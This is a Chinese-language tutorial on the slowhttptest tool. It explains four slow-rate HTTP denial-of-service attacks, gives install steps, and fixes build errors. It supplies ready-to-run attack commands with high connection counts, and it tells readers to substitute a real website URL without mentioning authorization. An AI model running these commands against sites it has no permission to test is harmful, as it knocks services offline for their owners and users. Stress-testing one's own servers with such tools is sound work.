
slowhttptest介紹
Slowhttptest是依賴HTTP協議的慢速攻擊DoS攻擊工具,設計的基本原理是服務器在請求完全接收后才會進行處理,如果客戶端的發送速度緩慢或者發送不完整,服務端為其保留連接資源池占用,大量此類請求并發將導致DoS。
攻擊模式
slowloris:完整的http請求是以\r\n\r\n結尾,攻擊時僅發送\r\n,少發送一個\r\n,服務器認為請求還未發完,就會一直等待直至超時。等待過程中占用連接數達到服務器連接數上限,服務器便無法處理其他請求。
slow http post:原理和slowloris有點類似,這次是通過聲明一個較大的content-length后,body緩慢發送,導致服務器一直等待。
slow read attack:向服務器發送一個正常合法的read請求,請求一個很大的文件,但認為的把TCP滑動窗口設置得很小,服務器就會以滑動窗口的大小切割文件,然后發送。文件長期滯留在內存中,消耗資源。
slowhttptest安裝及測試
一、基礎環境安裝
yum install openssl openssl-devel
yum install gcc gcc-c++
二、安裝m4、autoconf、perl和automake
yum install m4
yum install autoconf
yum install perl
yum install automake
注意:需要按照順序進行安裝,因為automake依賴于m4,autoconf和perl,autoconf又依賴于m4。
三、安裝Slowhttptest
cd /usr/local
git clone https://github.com/shekyan/slowhttptest
cd slowhttptest/
./configure
autoreconf -ivf //請一定要執行這句命令
make
make install
四、幾種攻擊模式實例
1、slowloris
:完整的http請求是以 \r\n\r\n
結尾,攻擊時僅發送 \r\n
,少發送一個 \r\n
,服務器認為請求還未發完,就會一直等待直至超時。
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u URL -x 24 -p 3
2、slow post
:通過聲明一個較大的content-length后,body緩慢發送,導致服務器一直等待。
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u URL -x 10 -p 3
3、slow read
:向服務器發送一個正常合法的read請求,請求一個很大的文件,但把TCP滑動窗口設置得很小,服務器就會以滑動窗口的大小切割文件,然后發送,這是文件會長期存放在內存中,消耗資源。
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u URL -p 3
4、Range Header test
:在 HTTP 請求的 RANGE HEADER 中包含大量字段,使得服務器在服務端將一個很小的文件分割成大量的更小的片段再壓縮。分段壓縮過程消耗大量的服務器資源,導致 DOS。
slowhttptest -R -u URL -t HEAD -c 1000 -a 10 -b 3000 -r 500
請修改上述命令的URL為真實的網站地址
安裝slowhttptest常見問題
- 報錯
checking for
C++ compiler default
output file name... configure: error: C++ compiler cannot create executables
yum install gcc gcc-c++
- 執行./configure時提示“沒有權限”
chmod 755 *
- 提示“missing automake-1.16”或aclocal-1.15: command not found
依次執行如下命令:
yum install m4
yum install autoconf
yum install perl
yum install automake